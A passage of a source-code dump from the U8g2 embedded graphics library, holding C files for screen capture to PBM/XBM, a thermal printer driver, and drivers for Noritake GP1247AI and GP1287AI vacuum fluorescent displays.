arg_int, arg_ptr); case U8X8_MSG_CAD_START_TRANSFER: in_transfer = 0; /* actual start is delayed, because we do not whether this is data or cmd transfer */ break; case U8X8_MSG_CAD_END_TRANSFER: if ( in_transfer != 0 ) u8x8_byte_EndTransfer(u8x8); in_transfer = 0; break; default: return 0; } return 1; } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_capture.c ================================================ /* u8x8_capture.c Screen capture funcion Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2016, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "u8x8.h" /*========================================================*/ /* vertical top lsb memory architecture */ uint8_t u8x8_capture_get_pixel_1(uint16_t x, uint16_t y, uint8_t *dest_ptr, uint8_t tile_width) { //uint8_t *dest_ptr = capture->buffer; //if ( dest_ptr == NULL ) //return 0; //dest_ptr += (y/8)*capture->tile_width*8; dest_ptr += (y/8)*tile_width*8; y &= 7; dest_ptr += x; if ( (*dest_ptr & (1<buffer; //if ( dest_ptr == NULL ) // return 0; //dest_ptr += y*capture->tile_width; y *= tile_width; dest_ptr += y; dest_ptr += x>>3; if ( (*dest_ptr & (128>>(x&7))) == 0 ) return 0; return 1; } void u8x8_capture_write_pbm_pre(uint8_t tile_width, uint8_t tile_height, void (*out)(const char *s)) { out("P1\n"); out(u8x8_utoa((uint16_t)tile_width*8)); out("\n"); out(u8x8_utoa((uint16_t)tile_height*8)); out("\n"); } void u8x8_capture_write_pbm_buffer(uint8_t *buffer, uint8_t tile_width, uint8_t tile_height, uint8_t (*get_pixel)(uint16_t x, uint16_t y, uint8_t *dest_ptr, uint8_t tile_width), void (*out)(const char *s)) { uint16_t x, y; uint16_t w, h; w = tile_width; w *= 8; h = tile_height; h *= 8; for( y = 0; y < h; y++) { for( x = 0; x < w; x++) { if ( get_pixel(x, y, buffer, tile_width) ) out("1"); else out("0"); } out("\n"); } } void u8x8_capture_write_xbm_pre(uint8_t tile_width, uint8_t tile_height, void (*out)(const char *s)) { out("#define xbm_width "); out(u8x8_utoa((uint16_t)tile_width*8)); out("\n"); out("#define xbm_height "); out(u8x8_utoa((uint16_t)tile_height*8)); out("\n"); out("static unsigned char xbm_bits[] = {\n"); } void u8x8_capture_write_xbm_buffer(uint8_t *buffer, uint8_t tile_width, uint8_t tile_height, uint8_t (*get_pixel)(uint16_t x, uint16_t y, uint8_t *dest_ptr, uint8_t tile_width), void (*out)(const char *s)) { uint16_t x, y; uint16_t w, h; uint8_t v, b; char s[2]; s[1] = '\0'; w = tile_width; w *= 8; h = tile_height; h *= 8; y = 0; for(;;) { x = 0; for(;;) { v = 0; for( b = 0; b < 8; b++ ) { v <<= 1; if ( get_pixel(x+7-b, y, buffer, tile_width) ) v |= 1; } out("0x"); s[0] = (v>>4); if ( s[0] <= 9 ) s[0] += '0'; else s[0] += 'a'-10; out(s); s[0] = (v&15); if ( s[0] <= 9 ) s[0] += '0'; else s[0] += 'a'-10; out(s); x += 8; if ( x >= w ) break; out(","); } y++; if ( y >= h ) break; out(","); out("\n"); } out("};\n"); } /*========================================================*/ #ifdef NOT_YET_IMPLEMENTED_U8X8_SCREEN_CAPTURE struct _u8x8_capture_struct { u8x8_msg_cb old_cb; uint8_t *buffer; /* tile_width*tile_height*8 bytes */ uint8_t tile_width; uint8_t tile_height; }; typedef struct _u8x8_capture_struct u8x8_capture_t; u8x8_capture_t u8x8_capture; static void u8x8_capture_memory_copy(uint8_t *dest, uint8_t *src, uint16_t cnt) { while( cnt > 0 ) { *dest++ = *src++; cnt--; } } static void u8x8_capture_DrawTiles(u8x8_capture_t *capture, uint8_t tx, uint8_t ty, uint8_t tile_cnt, uint8_t *tile_ptr) { uint8_t *dest_ptr = capture->buffer; //printf("tile pos: %d %d, cnt=%d\n", tx, ty, tile_cnt); if ( dest_ptr == NULL ) return; dest_ptr += (uint16_t)ty*capture->tile_width*8; dest_ptr += (uint16_t)tx*8; u8x8_capture_memory_copy(dest_ptr, tile_ptr, tile_cnt*8); } uint8_t u8x8_d_capture(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { if ( msg == U8X8_MSG_DISPLAY_DRAW_TILE ) { uint8_t x, y, c; uint8_t *ptr; x = ((u8x8_tile_t *)arg_ptr)->x_pos; y = ((u8x8_tile_t *)arg_ptr)->y_pos; c = ((u8x8_tile_t *)arg_ptr)->cnt; ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; do { u8x8_capture_DrawTiles(&u8x8_capture, x, y, c, ptr); x += c; arg_int--; } while( arg_int > 0 ); } return u8x8_capture.old_cb(u8x8, msg, arg_int, arg_ptr); } uint8_t u8x8_GetCaptureMemoryPixel(u8x8_t *u8x8, uint16_t x, uint16_t y) { return u8x8_capture_GetPixel(&u8x8_capture, x, y); } /* memory: tile_width*tile_height*8 bytes */ void u8x8_ConnectCapture(u8x8_t *u8x8, uint8_t tile_width, uint8_t tile_height, uint8_t *memory) { if ( u8x8->display_cb == u8x8_d_capture ) return; /* do nothing, capture already installed */ u8x8_capture.buffer = memory; /* tile_width*tile_height*8 bytes */ u8x8_capture.tile_width = tile_width; u8x8_capture.tile_height = tile_height; u8x8_capture.old_cb = u8x8->display_cb; u8x8->display_cb = u8x8_d_capture; return; } #endif ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_d_a2printer.c ================================================ /* u8x8_d_a2printer.c Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2016, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. Use DC2 bitmap command of the A2 Micro panel termal printer double stroke */ #include "u8x8.h" #define LINE_MIN_DELAY_MS 15 /* higher values improve quality */ /* however if the value is too high (>=5) then form feed does not work any more */ #define LINE_EXTRA_8PIXEL_DELAY_MS 3 /* this must be a power of two and between 1 and 8 */ /* best quality only with 1 */ #define NO_OF_LINES_TO_SEND_WITHOUT_DELAY 1 /* calculates the delay, based on the number of black pixel */ /* actually only "none-zero" bytes are calculated which is, of course not so accurate, but should be good enough */ uint16_t get_delay_in_milliseconds(uint8_t cnt, uint8_t *data) { uint8_t i; uint16_t time = LINE_MIN_DELAY_MS; for ( i = 0; i < cnt; i++ ) if ( data[i] != 0 ) time += LINE_EXTRA_8PIXEL_DELAY_MS; return time; } uint8_t u8x8_d_a2printer_common(u8x8_t *u8x8, uint8_t msg, U8X8_UNUSED uint8_t arg_int, void *arg_ptr) { uint8_t c, i, j; uint8_t *ptr; uint16_t delay_in_milliseconds; switch(msg) { /* U8X8_MSG_DISPLAY_SETUP_MEMORY is handled by the calling function */ /* case U8X8_MSG_DISPLAY_SETUP_MEMORY: break; */ case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); // no setup required // u8x8_cad_SendSequence(u8x8, u8x8_d_a2printer_init_seq); break; case U8X8_MSG_DISPLAY_SET_POWER_SAVE: // no powersave break; case U8X8_MSG_DISPLAY_DRAW_TILE: u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, 27); /* ESC */ u8x8_cad_SendCmd(u8x8, 55 ); /* parameter command */ /* increasing the "max printing dots" requires a good power supply, but LINE_EXTRA_8PIXEL_DELAY_MS could be reduced then */ u8x8_cad_SendCmd(u8x8, 0); /* Max printing dots,Unit(8dots),Default:7(64 dots) 8*(x+1) ... lower values improve, probably my current supply is not sufficient */ u8x8_cad_SendCmd(u8x8, 200); /* 3-255 Heating time,Unit(10us),Default:80(800us) */ u8x8_cad_SendCmd(u8x8, 2); /* 0-255 Heating interval,Unit(10us),Default:2(20us) ... does not have much influence */ //c = ((u8x8_tile_t *)arg_ptr)->cnt; /* number of tiles */ c = u8x8->display_info->tile_width; ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; /* data ptr to the tiles */ u8x8_cad_SendCmd(u8x8, 18); /* DC2 */ u8x8_cad_SendCmd(u8x8, 42 ); /* * */ u8x8_cad_SendCmd(u8x8, 8 ); /* height */ u8x8_cad_SendCmd(u8x8, c ); /* c, u8x8->display_info->tile_width */ for( j = 0; j < 8 / NO_OF_LINES_TO_SEND_WITHOUT_DELAY; j ++ ) { delay_in_milliseconds = 0; for( i = 0; i < NO_OF_LINES_TO_SEND_WITHOUT_DELAY; i++ ) { u8x8_cad_SendData(u8x8, c, ptr); /* c, note: SendData can not handle more than 255 bytes, send one line of data */ delay_in_milliseconds += get_delay_in_milliseconds(c, ptr); ptr += c; } while( delay_in_milliseconds > 200 ) { u8x8->gpio_and_delay_cb(u8x8, U8X8_MSG_DELAY_MILLI, 200, NULL); delay_in_milliseconds -= 200; } u8x8->gpio_and_delay_cb(u8x8, U8X8_MSG_DELAY_MILLI, delay_in_milliseconds, NULL); } /* set parameters back to their default values */ u8x8_cad_SendCmd(u8x8, 27); /* ESC */ u8x8_cad_SendCmd(u8x8, 55 ); /* parameter command */ u8x8_cad_SendCmd(u8x8, 7); /* Max printing dots,Unit(8dots),Default:7(64 dots) 8*(x+1)*/ u8x8_cad_SendCmd(u8x8, 80); /* 3-255 Heating time,Unit(10us),Default:80(800us) */ u8x8_cad_SendCmd(u8x8, 2); /* 0-255 Heating interval,Unit(10us),Default:2(20us)*/ u8x8_cad_EndTransfer(u8x8); break; default: return 0; } return 1; } static const u8x8_display_info_t u8x8_a2printer_384x240_display_info = { /* most of the settings are not required, because this is a serial RS232 printer */ /* chip_enable_level = */ 1, /* chip_disable_level = */ 0, /* post_chip_enable_wait_ns = */ 5, /* pre_chip_disable_wait_ns = */ 5, /* reset_pulse_width_ms = */ 1, /* post_reset_wait_ms = */ 6, /* sda_setup_time_ns = */ 20, /* sck_pulse_width_ns = */ 140, /* sck_clock_hz = */ 1000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* old: sck_takeover_edge, new: active high (bit 1), rising edge (bit 0) */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 30, /* write_pulse_width_ns = */ 40, /* tile_width = */ 48, /* tile_height = */ 30, /* default_x_offset = */ 0, /* flipmode_x_offset = */ 0, /* pixel_width = */ 384, /* pixel_height = */ 240 }; uint8_t u8x8_d_a2printer_384x240(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_a2printer_384x240_display_info); break; default: return u8x8_d_a2printer_common(u8x8, msg, arg_int, arg_ptr); } return 1; } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_d_gp1247ai.c ================================================ /* u8x8_d_gp1247ai.c https://github.com/olikraus/u8g2/issues/1907 https://github.com/olikraus/u8g2/pull/1892 Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2022, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "u8x8.h" #define SWAP8(a) ((((a)&0x80) >> 7) | (((a)&0x40) >> 5) | (((a)&0x20) >> 3) | (((a)&0x10) >> 1) | (((a)&0x08) << 1) | (((a)&0x04) << 3) | (((a)&0x02) << 5) | (((a)&0x01) << 7)) /* ========== GP1247AI ========== */ static const u8x8_display_info_t u8x8_gp1247ai_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 240, /* tCS-CLK */ /* pre_chip_disable_wait_ns = */ 120, /* tCLK-CS */ /* reset_pulse_width_ms = */ 1, /* Trw */ /* post_reset_wait_ms = */ 1, /* Trth */ /* sda_setup_time_ns = */ 60, /* tsu */ /* sck_pulse_width_ns = */ 120, /* tcyc/2 */ /* sck_clock_hz = */ 4000000UL, /* MAX 4.16 MHz */ /* spi_mode = */ 3, /* active low, falling edge, MSBFIRST */ /* i2c_bus_clock_100kHz = */ 4, /* */ /* data_setup_time_ns = */ 60, /* tsu */ /* write_pulse_width_ns = */ 120, /* tcyc/2 */ /* tile_width = */ 32, /* 32*8=256 memory size */ /* tile_height = */ 8, /* 8*8=64 memory size */ /* default_x_offset = */ 0, /* */ /* flipmode_x_offset = */ 0, /* */ /* pixel_width = */ 253, /* display size */ /* pixel_height = */ 63 /* display size */ }; static const uint8_t u8x8_d_gp1247ai_init_seq[] = { U8X8_START_TRANSFER(), U8X8_C(SWAP8(0x0AA)), /* Software reset */ U8X8_END_TRANSFER(), U8X8_DLY(1), /* Wait for reset */ U8X8_START_TRANSFER(), U8X8_CA(SWAP8(0x078), SWAP8(0x008)), /* Oscillation Setting */ U8X8_END_TRANSFER(), U8X8_START_TRANSFER(), U8X8_CAA(SWAP8(0x0CC), SWAP8(0x005), SWAP8(0x000)), /* VFD Mode Setting */ U8X8_END_TRANSFER(), U8X8_START_TRANSFER(), U8X8_CAAA(SWAP8(0x0E0), SWAP8(0x0FC), SWAP8(0x03E), SWAP8(0x000)), /* Display Area Setting */ U8X8_A4(SWAP8(0x020), SWAP8(0x080), SWAP8(0x080), SWAP8(0x080)), /* Display Area Setting */ U8X8_END_TRANSFER(), U8X8_START_TRANSFER(), U8X8_CAAAA(SWAP8(0x0B1), SWAP8(0x020), SWAP8(0x03F), SWAP8(0x000), SWAP8(0x001)), /* Internal Speed Setting */ U8X8_END_TRANSFER(), U8X8_START_TRANSFER(), U8X8_CAA(SWAP8(0x0A0), SWAP8(0x000), SWAP8(0x028)), /* Dimming level Setting (1024 level, 0x3FF max) */ U8X8_END_TRANSFER(), U8X8_START_TRANSFER(), U8X8_C(SWAP8(0x055)), /* Memory Map Clear */ U8X8_END_TRANSFER(), U8X8_DLY(15), /* Wait for memory clear */ U8X8_START_TRANSFER(), U8X8_CAA(SWAP8(0x0C0), SWAP8(0x000), SWAP8(0x000)), /* DW1 position setting */ U8X8_END_TRANSFER(), U8X8_START_TRANSFER(), U8X8_CAA(SWAP8(0x0D0), SWAP8(0x000), SWAP8(0x040)), /* DW2 position setting */ U8X8_END_TRANSFER(), U8X8_START_TRANSFER(), U8X8_CA(SWAP8(0x080), SWAP8(0x080)), /* Display Mode Setting */ U8X8_END_TRANSFER(), U8X8_START_TRANSFER(), U8X8_C(SWAP8(0x061)), /* Standby Mode */ U8X8_END_TRANSFER(), U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_gp1247ai_standby_seq[] = { U8X8_START_TRANSFER(), U8X8_C(SWAP8(0x061)), /* Standby */ U8X8_END_TRANSFER(), U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_gp1247ai_wakeup_seq[] = { U8X8_START_TRANSFER(), U8X8_C(SWAP8(0x06D)), /* Wake up */ U8X8_END_TRANSFER(), U8X8_DLY(1), /* Wait for OSC stabilize */ U8X8_START_TRANSFER(), U8X8_CA(SWAP8(0x080), SWAP8(0x080)), /* After entering standby mode, the SC bit will be automatically cleared */ U8X8_END_TRANSFER(), U8X8_END() /* end of sequence */ }; uint8_t u8x8_d_gp1247ai_common(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t *ptr; uint8_t x, y; uint16_t tx_cnt; uint8_t swapped_byte; switch (msg) { case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if (arg_int == 0) u8x8_cad_SendSequence(u8x8, u8x8_d_gp1247ai_wakeup_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_gp1247ai_standby_seq); break; #ifdef U8X8_WITH_SET_CONTRAST case U8X8_MSG_DISPLAY_SET_CONTRAST: u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, SWAP8(0x0A0)); u8x8_cad_SendArg(u8x8, SWAP8((arg_int * 4) >> 8)); /* Dimming level */ u8x8_cad_SendArg(u8x8, SWAP8((arg_int * 4) & 0xFF)); /* Dimming level */ u8x8_cad_EndTransfer(u8x8); break; #endif case U8X8_MSG_DISPLAY_DRAW_TILE: x = ((u8x8_tile_t *)arg_ptr)->x_pos * 8; y = ((u8x8_tile_t *)arg_ptr)->y_pos * 8; u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, SWAP8(0x0F0)); u8x8_cad_SendArg(u8x8, SWAP8(x)); u8x8_cad_SendArg(u8x8, SWAP8(y)); u8x8_cad_SendArg(u8x8, SWAP8(0x007)); /* return every 8 pixels */ do { ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; tx_cnt = ((u8x8_tile_t *)arg_ptr)->cnt * 8; while (tx_cnt > 0) { swapped_byte = SWAP8(*ptr); u8x8_cad_SendData(u8x8, 1, &swapped_byte); ptr += 1; tx_cnt -= 1; } arg_int--; } while (arg_int > 0); u8x8_cad_EndTransfer(u8x8); break; default: return 0; } return 1; } uint8_t u8x8_d_gp1247ai_253x63(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { switch (msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_gp1247ai_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_gp1247ai_init_seq); break; default: return u8x8_d_gp1247ai_common(u8x8, msg, arg_int, arg_ptr); } return 1; } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_d_gp1287ai.c ================================================ /* u8x8_d_gp1287ai.c https://github.com/olikraus/u8g2/issues/1907 https://github.com/olikraus/u8g2/pull/1892 Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2022, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "u8x8.h" #define SWAP8(a) ((((a)&0x80) >> 7) | (((a)&0x40) >> 5) | (((a)&0x20) >> 3) | (((a)&0x10) >> 1) | (((a)&0x08) << 1) | (((a)&0x04) << 3) | (((a)&0x02) << 5) | (((a)&0x01) << 7)) /* ========== GP1287AI ========== */ static const u8x8_display_info_t u8x8_gp1287ai_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 240, /* tCS-CLK */ /* pre_chip_disable_wait_ns = */ 120, /* tCLK-CS */ /* reset_pulse_width_ms = */ 1, /* Trw */ /* post_reset_wait_ms = */ 1, /* Trth */ /* sda_setup_time_ns = */ 60, /* tsu */ /* sck_pulse_width_ns = */ 120, /* tcyc/2 */ /* sck_clock_hz = */ 4000000UL, /* MAX 4.16 MHz */ /* spi_mode = */ 3, /* active low, falling edge, MSBFIRST */ /* i2c_bus_clock_100kHz = */ 4, /* */ /* data_setup_time_ns = */ 60, /* tsu */ /* write_pulse_width_ns = */ 120, /* tcyc/2 */ /* tile_width = */ 32, /* 32*8=256 memory size */ /* tile_height = */ 7, /* 7*8=56 memory size */ /* default_x_offset = */ 0, /* */ /* flipmode_x_offset = */ 0, /* */ /* pixel_width = */ 256, /* display size */ /* pixel_height = */ 50 /* display size */ }; static const uint8_t u8x8_d_gp1287ai_init_seq[] = { U8X8_START_TRANSFER(), U8X8_C(SWAP8(0x0AA)), /* Software reset */ U8X8_END_TRANSFER(), U8X8_DLY(1), /* Wait for reset */ U8X8_START_TRANSFER(), U8X8_CA(SWAP8(0x078), SWAP8(0x008)), /* Oscillation Setting */ U8X8_END_TRANSFER(), U8X8_START_TRANSFER(), U8X8_CAA(SWAP8(0x0CC), SWAP8(0x002), SWAP8(0x000)), /* VFD Mode Setting */ U8X8_END_TRANSFER(), U8X8_START_TRANSFER(), U8X8_CAAA(SWAP8(0x0E0), SWAP8(0x0FF), SWAP8(0x031), SWAP8(0x000)), /* Display Area Setting */ U8X8_A4(SWAP8(0x020), SWAP8(0x000), SWAP8(0x000), SWAP8(0x080)), /* Display Area Setting */ U8X8_END_TRANSFER(), U8X8_START_TRANSFER(), U8X8_CAAAA(SWAP8(0x0B1), SWAP8(0x020), SWAP8(0x03F), SWAP8(0x000), SWAP8(0x001)), /* Internal Speed Setting */ U8X8_END_TRANSFER(), U8X8_START_TRANSFER(), U8X8_CAA(SWAP8(0x0A0), SWAP8(0x000), SWAP8(0x028)), /* Dimming level Setting (1024 level, 0x3FF max) */ U8X8_END_TRANSFER(), U8X8_START_TRANSFER(), U8X8_C(SWAP8(0x055)), /* Memory Map Clear */ U8X8_END_TRANSFER(), U8X8_DLY(15), /* Waiting for memory clear */ U8X8_START_TRANSFER(), U8X8_CAA(SWAP8(0x0C0), SWAP8(0x000), SWAP8(0x004)), /* DW1 position setting */ U8X8_END_TRANSFER(), U8X8_START_TRANSFER(), U8X8_CAA(SWAP8(0x0D0), SWAP8(0x000), SWAP8(0x03C)), /* DW2 position setting */ U8X8_END_TRANSFER(), U8X8_START_TRANSFER(), U8X8_CA(SWAP8(0x090), SWAP8(0x000)), /* Internal Command */ U8X8_END_TRANSFER(), U8X8_START_TRANSFER(), U8X8_CA(SWAP8(0x008), SWAP8(0x000)), /* T1 INT Setting */ U8X8_END_TRANSFER(), U8X8_START_TRANSFER(), U8X8_CA(SWAP8(0x080), SWAP8(0x000)), /* Display Mode Setting */ U8X8_END_TRANSFER(), U8X8_START_TRANSFER(), U8X8_C(SWAP8(0x061)), /* Standby Mode */ U8X8_END_TRANSFER(), U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_gp1287ai_standby_seq[] = { U8X8_START_TRANSFER(), U8X8_C(SWAP8(0x061)), /* Standby */ U8X8_END_TRANSFER(), U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_gp1287ai_wakeup_seq[] = { U8X8_START_TRANSFER(), U8X8_C(SWAP8(0x06D)), /* Wake up */ U8X8_END_TRANSFER(), U8X8_DLY(1), /* Wait for OSC stabilize */ U8X8_START_TRANSFER(), U8X8_CA(SWAP8(0x080), SWAP8(0x000)), /* After entering standby mode, the SC bit will be automatically cleared */ U8X8_END_TRANSFER(), U8X8_END() /* end of sequence */ }; uint8_t u8x8_d_gp1287ai_common(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t *ptr; uint8_t x, y; uint16_t tx_cnt; uint8_t swapped_byte; switch (msg) { case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if (arg_int == 0) u8x8_cad_SendSequence(u8x8, u8x8_d_gp1287ai_wakeup_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_gp1287ai_standby_seq); break; #ifdef U8X8_WITH_SET_CONTRAST case U8X8_MSG_DISPLAY_SET_CONTRAST: u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, SWAP8(0x0A0)); u8x8_cad_SendArg(u8x8, SWAP8((arg_int * 4) >> 8)); /* Dimming level */ u8x8_cad_SendArg(u8x8, SWAP8((arg_int * 4) & 0xFF)); /* Dimming level */ u8x8_cad_EndTransfer(u8x8); break; #endif case U8X8_MSG_DISPLAY_DRAW_TILE: x = ((u8x8_tile_t *)arg_ptr)->x_pos * 8; y = ((u8x8_tile_t *)arg_ptr)->y_pos * 8 + 4; u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, SWAP8(0x0F0)); u8x8_cad_SendArg(u8x8, SWAP8(x)); u8x8_cad_SendArg(u8x8, SWAP8(y)); u8x8_cad_SendArg(u8x8, SWAP8(0x007)); /* return every 8 pixels */ do { ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; tx_cnt = ((u8x8_tile_t *)arg_ptr)->cnt * 8; while (tx_cnt > 0) { swapped_byte = SWAP8(*ptr); u8x8_cad_SendData(u8x8, 1, &swapped_byte); ptr += 1; tx_cnt -= 1; } arg_int--; } while (arg_int > 0); u8x8_cad_EndTransfer(u8x8); break; default: return 0; } return 1; } uint8_t u8x8_d_gp1287ai_256x50(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { switch (msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_gp1287ai_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_gp1287ai_init_seq); break; default: return u8x8_d_gp1287ai_common(u8x8, msg, arg_int, arg_ptr); } return 1; } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_d_gu800.c ================================================ /* u8x8_d_gu800.c Support for GU800 series of VFD displays https://www.noritake-elec.com/products/vfd-display-module/dot-matrix-graphic-display/gu-800-series Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2021, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT 